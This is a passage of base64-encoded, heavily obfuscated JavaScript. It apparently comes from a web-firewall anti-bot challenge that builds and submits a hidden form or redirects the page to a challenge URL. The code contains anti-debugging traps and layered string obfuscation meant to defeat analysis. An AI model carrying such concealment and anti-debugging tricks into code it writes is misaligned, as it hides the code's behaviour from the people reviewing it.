dXJuIFIocy0nMHgyZjUnLG8pO312YXIgRz1kb2N1bWVudFtEdSgnMHg3JywtJzB4NjQnKStERygnMHg0ODknLCcweDQ1ZicpK0RHKCcweDM5NicsJzB4M2YyJyldKHFbRHUoLScweDdlJywtJzB4MzMnKV0pO0dbRHUoLScweDMwJywnMHg2OScpKyduJ109byxHW0RHKCcweDQyMycsJzB4NDNlJykrJ2QnXT1xWydqU3NOayddLEdbRHUoJzB4OTMnLC0nMHgxOScpXVsnZGlzcGwnKydheSddPXFbJ25VdlROJ107ZnVuY3Rpb24gdihTLEEpe2Z1bmN0aW9uIERMKG8scyl7cmV0dXJuIERHKHMsby0gLScweDQwZicpO31mdW5jdGlvbiBEZihvLHMpe3JldHVybiBEdShvLHMtJzB4MmI4Jyk7fWZ1bmN0aW9uIERTKG8scyl7cmV0dXJuIERyKG8scy0gLScweDU5ZScpO31mdW5jdGlvbiBEaChvLHMpe3JldHVybiBEcihvLHMtIC0nMHgzMzAnKTt9aWYocVsnUFlJY3knXShxW0RMKCcweDI5JywtJzB4MmYnKV0scVtEZignMHgyNWInLCcweDI2ZScpXSkpe3ZhciBFPXFbJ2FwcGx5J10oRyxhcmd1bWVudHMpO3JldHVybiB2PW51bGwsRTt9ZWxzZXt2YXIgej1kb2N1bWVudFtEaCgnbDRaQycsLScweDQ5JykrJ2VFbGVtJytEaCgnWk5BWycsJzB4MjAnKV0ocVsnS0xISE4nXSk7eltEUygnOXdjTycsLScweDIwZicpXT1TLHFbREwoJzB4MTM5JywnMHhjMycpXShBLHVuZGVmaW5lZCkmJih6Wyd2YWx1ZSddPUEpLEdbRGgoJzZoQGInLCcweGMzJykrRGYoJzB4MmE4JywnMHgzNDcnKSsnZCddKHopO319Zm9yKHZhciByIGluIHMpe3ZhciBMPXNbcl0sZj10eXBlb2YgTDtpZihxW0R1KCcweDNhJywnMHg2MScpXShmLHFbRHIoJyhIXionLCcweDQwZicpXSkpcVtERygnMHg0MjknLCcweDQ1MicpXShxW0RHKCcweDQ5OScsJzB4NTA3JyldLHFbRHYoJ3hhI0gnLCcweDJlMCcpXSk/cVtERygnMHg1Y2EnLCcweDUyOCcpXSh2LHIsTCk6cVtEdSgnMHgxMjcnLCcweGE2JyldKHEsRyx2KTtlbHNle2lmKHFbREcoJzB4NGMxJywnMHg0ZTMnKV0oZixxW0R1KC0nMHgyZScsLScweDJmJyldKSl7aWYocVsna0JJSWsnXShxWydXYkxhUCddLHFbREcoJzB4NGQxJywnMHg1NDAnKV0pKXtpZihHKXt2YXIgej1mW0RyKCdTNnNqJywnMHgzM2InKV0oaCxhcmd1bWVudHMpO3JldHVybiBTPW51bGwsejt9fWVsc2UgZm9yKHZhciBoIGluIEwpe3FbREcoJzB4NTg4JywnMHg1MjgnKV0odixyLExbaF0pO319ZWxzZXtpZihxW0R1KCcweDhmJywnMHg2MScpXShmLCEhW10pKXtpZihxW0R2KCckNElwJywnMHgzMGUnKV0ocVsnbFN6R28nXSxxW0RyKCdaTkFbJywnMHgzNmMnKV0pKXFbREcoJzB4NGI1JywnMHg1MjgnKV0odixyLHVuZGVmaW5lZCk7ZWxzZXt2YXIgTj1xW0R2KCdRZlBVJywnMHgyZGInKV1bRHUoLScweGYwJywtJzB4NTUnKV0oJ3wnKSxFPS0weDE5MyotMHg5Ky0weDEzYmIqLTB4MSsweDEqLTB4MjFlNjt3aGlsZSghIVtdKXtzd2l0Y2goTltFKytdKXtjYXNlJzAnOksqPXY7Y29udGludWU7Y2FzZScxJzpmb3IoZD0weDE5MGIrLTB4NCoweDI2Ky0weDIzOSoweGI7cVtEcignRSFnIScsJzB4M2Q0JyldKGQscVtEdignTVVjSScsJzB4M2U0JykrJ2gnXSk7ZCsrKXtLKz1yW0RHKCcweDRkZScsJzB4NDdhJykrRHIoJ0EpdWknLCcweDMzZicpXShkKTt9Y29udGludWU7Y2FzZScyJzpLKz0weDI4MTczKzB4MzIqMHhjNWIrLTB4YTkqMHg0ZTI7Y29udGludWU7Y2FzZSczJzpyZXR1cm4gcVsnc0x2b0InXSgnV1pXU19DT05GSVJNX1BSRUZJWF9MQUJFTCcsSyk7Y2FzZSc0Jzp2YXIgSz0tMHgxM2Y0KzB4MTkqLTB4OTUrMHgxKjB4MjI4MTtjb250aW51ZTtjYXNlJzUnOnZhciBkPS0weDIxYWIrLTB4NWJkKzB4NjEqMHg2ODtjb250aW51ZTt9YnJlYWs7fX19fX19ZnVuY3Rpb24gRHIobyxzKXtyZXR1cm4gdShzLScweDFkMCcsbyk7fWRvY3VtZW50Wydib2R5J11bRHIoJ09idiUnLCcweDNmZScpK0RHKCcweDU2YycsJzB4NTExJykrJ2QnXShHKSxHW0RyKCc2JmNMJywnMHg0MGUnKSsndCddKCk7ZnVuY3Rpb24gRHYobyxzKXtyZXR1cm4gdShzLScweDFiYycsbyk7fXJldHVybiBHO30hZnVuY3Rpb24gc3VibWl0X2Fuc3dlcigpe3ZhciBHPXsnanV3alQnOmZ1bmN0aW9uKE4sRSl7cmV0dXJuIE4hPT1FO30sJ3ZaWXB2JzpmdW5jdGlvbihOLEUpe3JldHVybiBOKEUpO30sJ2hIZmJoJzpEQSgnMHgzZWMnLCcweDQ5NScpK0RBKCcweDNjMCcsJzB4MzViJyksJ0VqdWlpJzpmdW5jdGlvbihOLEUpe3JldHVybiBOIT1FO30sJ3NkQU9WJzpmdW5jdGlvbihOLEUpe3JldHVybiBOPT09RTt9LCdWbnhhbSc6J0pzbHBUJywnd3NwVGUnOid6R3pOeicsJ1FkaVZHJzpmdW5jdGlvbihOLEUpe3JldHVybiBOPT09RTt9LCdrR2lFcic6RHooJzB4MjQ3JywnMHgxYTAnKSwnaWxseUInOkROKCdaTkFbJywnMHg0MWMnKSwnVWVrV2cnOmZ1bmN0aW9uKE4sRSxLKXtyZXR1cm4gTihFLEspO30sJ1d4b1NKJzpmdW5jdGlvbihOLEUpe3JldHVybiBOIT09RTt9LCd3UmlpWCc6J0V5aGp0JywndWtxelAnOkR6KCcweDE5MycsJzB4MWZmJyksJ1d3UkdJJzpEQSgnMHgzZTAnLCcweDM3YScpK0ROKCdVdnF0JywnMHg0NzcnKSsnKyQnLCdSY1NMWic6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTiE9PUU7fSwnU2dubE4nOkR6KCcweDFlNycsJzB4MjVkJyksJ0x5QkxYJzpEQSgnMHgzYzcnLCcweDMyMycpKydpb25ceDIwKicrREEoJzB4NDBiJywnMHgzYTMnKSsnKScsJ01hbmxIJzpETignQUFhWScsJzB4M2M0JykrREUoLScweDEzMycsJ1NsNEEnKStEQSgnMHgyZDEnLCcweDJiMScpK0R6KCcweDFlYScsJzB4MjkzJykrREEoJzB4NDAxJywnMHgzOTQnKStEeignMHgyZTEnLCcweDIzZicpK0RBKCcweDM2MCcsJzB4M2NjJyksJ1pHZndVJzpmdW5jdGlvbihOLEUpe3JldHVybiBOKEUpO30sJ3BwT1NCJzpEeignMHgyZGQnLCcweDM4ZCcpLCdqZElaaCc6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTitFO30sJ2xySXFNJzpEQSgnMHgyZDQnLCcweDM0NycpLCdkSVpzWSc6REEoJzB4M2UyJywnMHg0MDMnKSwnS3FBa0gnOmZ1bmN0aW9uKE4pe3JldHVybiBOKCk7fSwnallaYXUnOmZ1bmN0aW9uKE4sRSxLKXtyZXR1cm4gTihFLEspO30sJ29JQmZhJzpmdW5jdGlvbihOLEUsSyl7cmV0dXJuIE4oRSxLKTt9LCdWWlBxcCc6ZnVuY3Rpb24oTil7cmV0dXJuIE4oKTt9LCd1T3hsVSc6ZnVuY3Rpb24oTil7cmV0dXJuIE4oKTt9LCdKYlBMSSc6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTitFO30sJ2plZ01NJzpmdW5jdGlvbihOLEUpe3JldHVybiBOK0U7fSwnUUphbmknOmZ1bmN0aW9uKE4sRSl7cmV0dXJuIE4rRTt9LCd2VnRneSc6REEoJzB4MmU1JywnMHgyZmMnKSsnY2hhbGwnK0RBKCcweDNkYicsJzB4NDYyJyksJ2JpVExuJzpEQSgnMHgzNTMnLCcweDJlMCcpK0R6KCcweDI5YycsJzB4MjI5JykrJz0nLCdhcVRLayc6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTj09RTt9LCd6cnNOZic6RHooJzB4MjExJywnMHgyOTQnKSwnVldCYWUnOmZ1bmN0aW9uKE4sRSxLKXtyZXR1cm4gTihFLEspO319LHY9KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gRFkobyxzKXtyZXR1cm4gREEocy0gLScweDliJyxvKTt9ZnVuY3Rpb24gREsobyxzKXtyZXR1cm4gRE4ocyxvLSAtJzB4NDZiJyk7fWZ1bmN0aW9uIERkKG8scyl7cmV0dXJuIEROKG8scy0gLScweDU0YycpO31pZihHWydXeG9TSiddKEdbREsoLScweDkxJywnOXdjTycpXSxHW0RLKC0nMHhmMicsJzZoQGInKV0pKXt2YXIgTj0hIVtdO3JldHVybiBmdW5jdGlvbihFLEspe3ZhciBkPXsncHlyTmgnOmZ1bmN0aW9uKGUsbSl7ZnVuY3Rpb24gREoobyxzKXtyZXR1cm4gUihzLScweDNlJyxvKTt9cmV0dXJuIEdbREooJzB4MWE4JywnMHgxNGQnKV0oZSxtKTt9LCdzUktmYic6ZnVuY3Rpb24oZSxtKXtyZXR1cm4gR1sndlpZcHYnXShlLG0pO30sJ3V6WE5iJzpHW0RlKCcweDFhZicsJzB4MWQxJyldLCdQS1NraSc6ZnVuY3Rpb24oZSxtKXtyZXR1cm4gR1snRWp1aWknXShlLG0pO30sJ2VnRUxwJzpmdW5jdGlvbihlLG0pe2Z1bmN0aW9uIERtKG8scyl7cmV0dXJuIERlKHMtJzB4MjInLG8pO31yZXR1cm4gR1tEbSgnMHgxOTYnLCcweDIwMCcpXShlLG0pO30sJ0tHZ3RXJzpHW0RlKCcweDE0YicsJzB4MWJhJyldLCdGR2tIYic6R1tEZSgnMHgxZWMnLCcweDI2YScpXX07ZnVuY3Rpb24gREMobyxzKXtyZXR1cm4gRGQocyxvLScweDVjYycpO31mdW5jdGlvbiBEYyhvLHMpe3JldHVybiBSKHMtIC0nMHgxYTInLG8pO31mdW5jdGlvbiBERihvLHMpe3JldHVybiBESyhvLScweDJjNCcscyk7fWZ1bmN0aW9uIERlKG8scyl7cmV0dXJuIFIoby0nMHgxYycscyk7fWlmKEdbRGUoJzB4MTRhJywnMHhlYicpXShHW0RGKCcweDJkOCcsJ2pbdXMnKV0sR1tEQygnMHg1MTInLCdvNmFdJyldKSl7dmFyIG09eydob3N0bmFtZSc6cltERignMHgxY2YnLCdNVWNJJykrRGMoLScweGIzJywtJzB4YWQnKV1bREYoJzB4MjY3Jywnayl4YScpK0RlKCcweDI0MycsJzB4MWE2JyldLCdzY2hlbWUnOkxbRGMoLScweDc4JywtJzB4ODAnKStEZSgnMHgxMTEnLCcweGE5JyldW0RlKCcweDE5NicsJzB4MWU5JykrRGUoJzB4MTE2JywnMHhlZCcpXVtEQygnMHg0ZGYnLCcjSk53JykrJ2NlJ10oJzonLCcnKX07cmV0dXJuIGRbREYoJzB4MjhkJywnbDRaQycpXShmWydpbmRleCcrJ09mJ10oJ1daV1NfJyksLTB4MWQqMHhlNystMHgxNGQ1KzB4OCoweDVlMCkmJihtW0RjKCcweGU5JywnMHg5MCcpKyd5J109eiksZFsnc1JLZmInXShTLEFbREMoJzB4NDhhJywneGdbSicpK0RGKCcweDJmMCcsJ2syd20nKV0obSkpO31lbHNle3ZhciBKPU4/ZnVuY3Rpb24oKXtmdW5jdGlvbiBEcChvLHMpe3JldHVybiBEZShvLSAtJzB4MTc4JyxzKTt9dmFyIG09eydoeWdRbyc6ZFsndXpYTmInXSwnT3dZVkknOmZ1bmN0aW9uKE8sbCl7cmV0dXJuIGRbJ1BLU2tpJ10oTyxsKTt9fTtmdW5jdGlvbiBEUShvLHMpe3JldHVybiBEZShvLSAtJzB4MThkJyxzKTt9ZnVuY3Rpb24gRE0obyxzKXtyZXR1cm4gREMocy0gLScweDNkJyxvKTt9aWYoZFtEcCgnMHgyZicsJzB4ZCcpXShkW0RRKCcweDhjJywnMHhiMCcpXSxkWydGR2tIYiddKSl7dmFyIGw9clsnY3JlYXQnK0RwKCcweGUnLCcweDEzJykrRFEoLScweDc0JywtJzB4YTYnKV0obVtETSgnI0pOdycsJzB4NDEwJyldKTtsWyduYW1lJ109TCxtW0RwKCcweDMzJywtJzB4MWInKV0oZixoKSYmKGxbRFEoLScweDJmJywnMHg1OScpXT16KSxBW0RwKCcweDI2JywtJzB4NzMnKStEUSgnMHhhYicsJzB4MTIwJykrJ2QnXShsKTt9ZWxzZXtpZihLKXt2YXIgaT1LWydhcHBseSddKEUsYXJndW1lbnRzKTtyZXR1cm4gSz1udWxsLGk7fX19OmZ1bmN0aW9uKCl7fTtyZXR1cm4gTj0hW10sSjt9fTt9ZWxzZSBHW0RZKCcweDI2ZicsJzB4MmM3JyldKHYsRyx2KTt9KCkpLHI9R1tERSgtJzB4MTFhJywnSmhGVScpXSh2LHRoaXMsZnVuY3Rpb24oKXtmdW5jdGlvbiBEVShvLHMpe3JldHVybiBEeihzLScweDFjZScsbyk7fWZ1bmN0aW9uIERYKG8scyl7cmV0dXJuIERFKG8tJzB4NTRlJyxzKTt9ZnVuY3Rpb24gREIobyxzKXtyZXR1cm4gREUocy0nMHg0ZTcnLG8pO31mdW5jdGlvbiBEeShvLHMpe3JldHVybiBEeihvLSAtJzB4MTAzJyxzKTt9cmV0dXJuIHJbRFUoJzB4M2MxJywnMHg0NGYnKStEWCgnMHg0MjMnLCcjSk53JyldKClbRFgoJzB4NDA1JywnTTBubycpKydoJ10oR1snV3dSR0knXSlbRFgoJzB4M2Q2JywnYyMxOCcpK0RYKCcweDQyMycsJyNKTncnKV0oKVtEWCgnMHg0M2QnLCdeUlEqJykrJ3J1Y3RvJysnciddKHIpWydzZWFyYycrJ2gnXShHW0R5KCcweGNjJywnMHgzNCcpXSk7fSk7ZnVuY3Rpb24gREEobyxzKXtyZXR1cm4gUihvLScweDFjYicscyk7fUdbRHooJzB4MjQxJywnMHgyNDUnKV0ocik7ZnVuY3Rpb24gRHoobyxzKXtyZXR1cm4gUihvLScweDliJyxzKTt9ZnVuY3Rpb24gRE4obyxzKXtyZXR1cm4gdShzLScweDI2Yycsbyk7fXZhciBMPShmdW5jdGlvbigpe3ZhciBOPSEhW107cmV0dXJuIGZ1bmN0aW9uKEUsSyl7dmFyIGQ9eydnc05YRSc6ZnVuY3Rpb24oZSxtKXtmdW5jdGlvbiBEUChvLHMpe3JldHVybiBSKG8tIC0nMHgyYzUnLHMpO31yZXR1cm4gR1tEUCgtJzB4MTlkJywtJzB4MTU4JyldKGUsbSk7fSwnR0NlaWonOkdbRFYoLScweDE2YScsJyNwSiEnKV19LEo9Tj9mdW5jdGlvbigpe2Z1bmN0aW9uIERXKG8scyl7cmV0dXJuIERWKG8tIC0nMHg5ZScscyk7fWZ1bmN0aW9uIERaKG8scyl7cmV0dXJuIERWKG8tJzB4MjBjJyxzKTt9aWYoZFtEVygtJzB4MjA3JywnOXdjTycpXShkW0RaKCcweGYyJywnQUFhWScpXSxkW0RaKCcweDg0JywnVSVWZScpXSkpcltEWignMHhlNCcsJ00wbm8nKSsnaW9uJ109djtlbHNle2lmKEspe3ZhciBlPUtbRFcoLScweDFmMicsJzZWdEgnKV0oRSxhcmd1bWVudHMpO3JldHVybiBLPW51bGwsZTt9fX06ZnVuY3Rpb24oKXt9O2Z1bmN0aW9uIERWKG8scyl7cmV0dXJuIHUoby0gLScweDMwMycscyk7fXJldHVybiBOPSFbXSxKO307fSgpKTsoZnVuY3Rpb24oKXtmdW5jdGlvbiBEaShvLHMpe3JldHVybiBEeihzLScweGVjJyxvKTt9dmFyIE49eydua2ZwUSc6R1tEaSgnMHgzOGUnLCcweDM0MicpXSwnUHppWXYnOkdbRGkoJzB4MjEzJywnMHgyYmMnKV0sJ2Z3dnVPJzpmdW5jdGlvbihFLEspe2Z1bmN0aW9uIERsKG8scyl7cmV0dXJuIHUocy0nMHgyZWUnLG8pO31yZXR1cm4gR1tEbCgnUWZQVScsJzB4M2VhJyldKEUsSyk7fSwnT1JOZVgnOkdbRGkoJzB4MzIxJywnMHgzM2UnKV0sJ2hwQXRhJzpmdW5jdGlvbihFLEspe2Z1bmN0aW9uIERnKG8scyl7cmV0dXJuIERPKHMsby0gLScweDNmYycpO31yZXR1cm4gR1tEZygnMHgxMzEnLCcweDFjMScpXShFLEspO30sJ05vSmpKJzpHW0RUKCdqW3VzJywnMHg5NCcpXSwnc1lOVFInOkdbRFQoJyhIXionLCcweDk4JyldLCdXaUVKeCc6ZnVuY3Rpb24oRSl7ZnVuY3Rpb24gRGsobyxzKXtyZXR1cm4gRFQocyxvLSAtJzB4MTQ0Jyk7fXJldHVybiBHW0RrKC0nMHgxMDYnLCdbVFlZJyldKEUpO319O2Z1bmN0aW9uIERUKG8scyl7cmV0dXJuIERFKHMtJzB4MTRiJyxvKTt9ZnVuY3Rpb24gRE8obyxzKXtyZXR1cm4gREEocy0nMHgxMmEnLG8pO31mdW5jdGlvbiBEbihvLHMpe3JldHVybiBERShvLScweDIwYScscyk7fUdbRE8oJzB4NTEwJywnMHg0ZWMnKV0oTCx0aGlzLGZ1bmN0aW9uKCl7dmFyIEU9bmV3IFJlZ0V4cChOWydua2ZwUSddKTtmdW5jdGlvbiBEeChvLHMpe3JldHVybiBEbihzLScweDMzYycsbyk7fWZ1bmN0aW9uIERqKG8scyl7cmV0dXJuIERpKHMsby0gLScweDNiMCcpO312YXIgSz1uZXcgUmVnRXhwKE5bRHgoJ15SUSonLCcweDRkOCcpXSwnaScpO2Z1bmN0aW9uIER0KG8scyl7cmV0dXJuIERuKHMtIC0nMHgxMmMnLG8pO31mdW5jdGlvbiBESChvLHMpe3JldHVybiBEaShvLHMtIC0nMHg4NScpO312YXIgZD1OW0R0KCckNElwJywtJzB4OTQnKV0oWixOW0RIKCcweDMzMCcsJzB4MzAxJyldKTshRVtEaigtJzB4OTMnLCcweDE5JyldKE5bRHQoJ0poRlUnLC0nMHhhNicpXShkLE5bREgoJzB4MjdlJywnMHgyMjUnKV0pKXx8IUtbRGooLScweDkzJywtJzB4MTBlJyldKE5bRGooLScweGY4JywtJzB4OTcnKV0oZCxOW0R4KCdNVWNJJywnMHg0NzInKV0pKT9OW0RqKC0nMHg2ZicsJzB4MTMnKV0oZCwnMCcpOk5bJ1dpRUp4J10oWik7fSkoKTt9KCkpO3ZhciBmPUdbREEoJzB4MzcxJywnMHgzMGMnKV0oQiksaD1HW0RBKCcweDNjNCcsJzB4MzMzJyldKFUsZltETigna2tETicsJzB4NDgyJykrRHooJzB4MjQ0JywnMHgyMzUnKV0oKSksUz1HWyd1T3hsVSddKHkpO2Z1bmN0aW9uIERFKG8scyl7cmV0dXJuIHUoby0gLScweDI4Nicscyk7fXZhciBBPUdbJ2pkSVpoJ10oR1snSmJQTEknXShHWydqZWdNTSddKEdbRE4oJzhMWGInLCcweDQ5YicpXShjLEdbJ3ZWdGd5J10pLGgpLEdbRHooJzB4MmI2JywnMHgyNTInKV0pLFMpO2lmKEdbRE4oJ0poRlUnLCcweDNkNCcpXShwLEdbRHooJzB4MWI5JywnMHgxMjknKV0pKXt2YXIgej1HW0R6KCcweDIwMicsJzB4MWRlJyldKFYsUSxNKTtHWydWV0JhZSddKFcsQSx6KTt9ZWxzZSB3aW5kb3dbJ2xvY2F0JysnaW9uJ109QTt9KCk7ZnVuY3Rpb24gWihvKXtmdW5jdGlvbiBESShvLHMpe3JldHVybiBSKHMtIC0nMHgxZTYnLG8pO31mdW5jdGlvbiBEdyhvLHMpe3JldHVybiBSKG8tIC0nMHgxOTUnLHMpO31mdW5jdGlvbiBvMChvLHMpe3JldHVybiB1KG8tJzB4MTEyJyxzKTt9dmFyIHM9eydDbXBHVic6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRyZ2O30sJ0dtbFhhJzpmdW5jdGlvbihHLHYpe3JldHVybiBHIT09djt9LCdqR2Ntdic6REkoLScweDUnLC0nMHg3NicpLCdDVGNlSyc6RHcoJzB4NjcnLCcweDkxJykrRHcoJzB4YjMnLCcweDY5JykrREkoJzB4OTEnLCcweDVhJykrJyknLCdiQktaSCc6J1x4NWMrXHg1YytceDIwJytEdygnMHg2MycsJzB4ZTInKStEYSgnMHg0NjYnLCckNElwJykrRHcoLScweDQ2JywnMHgzMCcpKycwLTlhLScrbzAoJzB4MmJhJywnKEheKicpK0RhKCcweDNjZCcsJ25EI3EnKSwnb2NFWW4nOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEcodik7fSwnWE51U1QnOidpbml0JywnVEtNaVUnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEcrdjt9LCdTZmdvTyc6RGEoJzB4NGE1Jywnd1hsZycpLCdITlZGdyc6bzAoJzB4MzQzJywnUWZQVScpLCdsQ2dReic6ZnVuY3Rpb24oRyl7cmV0dXJuIEcoKTt9LCduT2FSSyc6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRz09PXY7fSwndmljZGEnOkRhKCcweDNmYicsJypwWWYnKSsnZycsJ2dCRGp0JzpmdW5jdGlvbihHLHYpe3JldHVybiBHPT09djt9LCdlSUtBeSc6bzAoJzB4MzUzJywnbDRaQycpLCdEaHNUcic6J0VHbFBzJywnYlZFdmUnOid3aGlsZScrJ1x4MjAodHJ1JytEYSgnMHg0NWEnLCdPYnYlJyksJ1VPaGJFJzpvMCgnMHgyMzMnLCckNElwJykrJ2VyJywnaFZGWUcnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEcvdjt9LCdsck9KdCc6bzAoJzB4Mjk5JywnKEheKicpKydoJywnUE1hb04nOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEcldjt9LCdZenFiSic6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRyE9PXY7fSwnRm5FTGcnOidlUkRwQScsJ3JPQXFFJzonZGVidScsJ3NKbHVQJzpESSgnMHg4ZicsLScweDFkJyksJ2xKcUJqJzpEdygnMHg2MScsJzB4NzknKSsnbicsJ010V2poJzpmdW5jdGlvbihHLHYpe3JldHVybiBHIT09djt9LCdwRWZxaic6REkoLScweGVjJywtJzB4NjUnKSwneWNVbVcnOkR3KC0nMHg4ZCcsLScweDI1JyksJ2lkWUJNJzpmdW5jdGlvbihHLHYpe3JldHVybiBHK3Y7fSwnR1BMYmsnOkR3KC0nMHg0NScsLScweDM2JykrREkoJzB4M2QnLC0nMHg0NicpKyd0JywnWkpDZWwnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEc9PT12O30sJ09NaUJBJzpESSgnMHgxZScsLScweDkxJyksJ3pOV0VkJzpmdW5jdGlvbihHLHYpe3JldHVybiBHPT09djt9LCdIVk9aTSc6RHcoLScweDY1JywnMHgyNCcpLCdoeWRMUCc6REkoLScweDEyOCcsLScweGQ2JyksJ0hDWVNaJzpmdW5jdGlvbihHLHYpe3JldHVybiBHIT09djt9LCdyYWhpaic6RGEoJzB4NDNmJywneGdbSicpLCdiQnFHcSc6J2ZrZE1MJywnbmFMaWMnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEcodik7fX07ZnVuY3Rpb24gcShHKXtmdW5jdGlvbiBvNShvLHMpe3JldHVybiBEYShzLSAtJzB4NjI3JyxvKTt9ZnVuY3Rpb24gbzgobyxzKXtyZXR1cm4gRHcocy0nMHg4JyxvKTt9ZnVuY3Rpb24gbzMobyxzKXtyZXR1cm4gRHcocy0nMHgzYzMnLG8pO312YXIgdj17J1JtY2h6JzpmdW5jdGlvbihyLEwpe2Z1bmN0aW9uIG8xKG8scyl7cmV0dXJuIHUoby0nMHgxMTEnLHMpO31yZXR1cm4gc1tvMSgnMHgyMTEnLCdNVWNJJyldKHIsTCk7fSwnc0haRUQnOmZ1bmN0aW9uKHIsTCl7ZnVuY3Rpb24gbzIobyxzKXtyZXR1cm4gdShzLScweDNkOCcsbyk7fXJldHVybiBzW28yKCduRCNxJywnMHg1YzcnKV0ocixMKTt9LCdVbkpYdyc6c1tvMygnMHgzNDgnLCcweDNiNCcpXSwnRkhQZW0nOnNbbzQoJzB4NTQnLCdrKXhhJyldLCd2emNVbCc6c1tvNSgnW1RZWScsLScweDE0MScpXSwnU3pyWFEnOmZ1bmN0aW9uKHIsTCl7ZnVuY3Rpb24gbzYobyxzKXtyZXR1cm4gbzMocyxvLSAtJzB4MWMnKTt9cmV0dXJuIHNbbzYoJzB4M2IxJywnMHg0MjcnKV0ocixMKTt9LCdUYmVLSic6c1tvNCgnMHg3YycsJyNKTncnKV0sJ05jdUVQJzpmdW5jdGlvbihyLEwpe2Z1bmN0aW9uIG83KG8scyl7cmV0dXJuIG8zKHMsby0nMHgxNTAnKTt9cmV0dXJuIHNbbzcoJzB4NTcwJywnMHg1NWMnKV0ocixMKTt9LCdaQXZQcyc6c1tvNSgnT2J2JScsLScweDE3YicpXSwndHVWZ3InOnNbbzMoJzB4NDFkJywnMHg0MTYnKV0sJ2FsTU9DJzpmdW5jdGlvbihyLEwpe3JldHVybiBzWydvY0VZbiddKHIsTCk7fSwnSHJQUEsnOmZ1bmN0aW9uKHIpe2Z1bmN0aW9uIG85KG8scyl7cmV0dXJuIG8zKHMsby0gLScweDQ4MScpO31yZXR1cm4gc1tvOSgtJzB4M2YnLCcweDM0JyldKHIpO319O2Z1bmN0aW9uIG80KG8scyl7cmV0dXJuIG8wKG8tIC0nMHgyMTUnLHMpO31pZihzWyduT2FSSyddKHR5cGVvZiBHLHNbbzQoJzB4NmEnLCdVJVZlJyldKSl7aWYoc1tvMygnMHg0YWEnLCcweDQ1NycpXShzW284KC0nMHhlJywnMHgxOCcpXSxzW284KC0nMHhjNycsLScweDYxJyldKSlHPXZbc1tvOCgnMHgzYScsJzB4NCcpXShyW280KCcweDEwYicsJ0xwJFEnKStvNCgnMHg3MCcsJ210bHonKV0oTCsrKSwweDIqLTB4MTA2ZSsweDExKi0weDExKy0weDExN2UqLTB4MildO2Vsc2UgcmV0dXJuIGZ1bmN0aW9uKEwpe31bbzgoLScweDVjJywnMHgzMycpK284KCcweDMnLCcweGFhJykrJ3InXShzW280KCcweGJhJywnUWZQVScpXSlbJ2FwcGx5J10oc1tvNCgnMHgxMTcnLCdYM1FhJyldKTt9ZWxzZXtpZihzWydHbWxYYSddKHNbbzMoJzB4NGMyJywnMHg0MjAnKV0oJycsc1tvNSgnKEheKicsLScweDIyNCcpXShHLEcpKVtzW280KCcweGU5JywnOXdjTycpXV0sMHgzZSoweDlmKzB4MSoweDE1NDkrLTB4MioweDFkZTUpfHxzW281KCdFIWchJywtJzB4MjRkJyldKHNbbzQoJzB4OGQnLCdPYnYlJyldKEcsMHgyKi0weDExOWIrLTB4MTJmMisweDM2M2MpLDB4MTM4OSstMHgxNmJmKy0weDYqLTB4ODkpKXtpZihzW28zKCcweDM2YicsJzB4MzRlJyldKHNbJ0ZuRUxnJ10sc1tvOCgtJzB4ZjUnLC0nMHg3MCcpXSkpcmV0dXJuIVtdO2Vsc2UoZnVuY3Rpb24oKXtyZXR1cm4hIVtdO31bbzQoJzB4MTUxJywnbzZhXScpK284KCcweDMyJywnMHhhYScpKydyJ10oc1snVEtNaVUnXShzWydyT0FxRSddLHNbbzQoJzB4MTFjJywnTHAkUScpXSkpWydjYWxsJ10oc1snbEpxQmonXSkpO31lbHNle2lmKHNbbzgoJzB4NmYnLC0nMHgyNCcpXShzW281KCcybDcxJywtJzB4MTYyJyldLHNbbzgoJzB4OWQnLCcweDZkJyldKSkoZnVuY3Rpb24oKXtmdW5jdGlvbiBvcyhvLHMpe3JldHVybiBvNChzLScweDNmMCcsbyk7fWZ1bmN0aW9uIG9EKG8scyl7cmV0dXJuIG8zKG8scy0gLScweDU3YycpO31mdW5jdGlvbiBvbyhvLHMpe3JldHVybiBvOChzLG8tIC0nMHgxNGQnKTt9aWYodltvRCgtJzB4MjgyJywtJzB4MjNkJyldKHZbJ1VuSlh3J10sdlsnVW5KWHcnXSkpRz12W3Zbb0QoLScweDE1OCcsLScweDE5OCcpXShyWydjaGFyQycrb3MoJ3hnW0onLCcweDRhMScpXShMKyspLC0weDExKy0weDg5YisweDlhYildO2Vsc2UgcmV0dXJuIVtdO31bbzgoLScweDQwJywnMHgzMycpK28zKCcweDNjMycsJzB4NDY1JykrJ3InXShzW284KC0nMHg5JywnMHhlJyldKHNbbzMoJzB4M2ZmJywnMHgzY2InKV0sc1tvOCgtJzB4NDMnLCcweDM3JyldKSlbbzQoJzB4NmYnLCdAN2VLJyldKHNbJ0dQTGJrJ10pKTtlbHNle3ZhciB6PW5ldyBHKHZbbzUoJ0UhZyEnLC0nMHgxODgnKV0pLE49bmV3IHYodltvNCgnMHg3YicsJyNKTncnKV0sJ2knKSxFPXZbJ1N6clhRJ10ocix2W284KC0nMHhmNCcsLScweDg2JyldKTshelsndGVzdCddKHZbbzUoJ3hhI0gnLC0nMHgxOGUnKV0oRSx2WydaQXZQcyddKSl8fCFOWyd0ZXN0J10odltvOCgtJzB4ODknLC0nMHg0ZicpXShFLHZbbzUoJ1lHNFgnLC0nMHgxZTknKV0pKT92W280KCcweDc1JywnWUc0WCcpXShFLCcwJyk6dltvNSgnWk5BWycsLScweDI1OScpXShmKTt9fX1zW281KCduRCNxJywtJzB4MTliJyldKHEsKytHKTt9ZnVuY3Rpb24gRGEobyxzKXtyZXR1cm4gdShvLScweDJjMicscyk7fXRyeXtpZihzW0RhKCcweDQwNycsJ0A3ZUsnKV0oc1tEYSgnMHg0YjInLCdqW3VzJyldLHNbRHcoLScweDQ0JywnMHgyMycpXSkpe2lmKG8p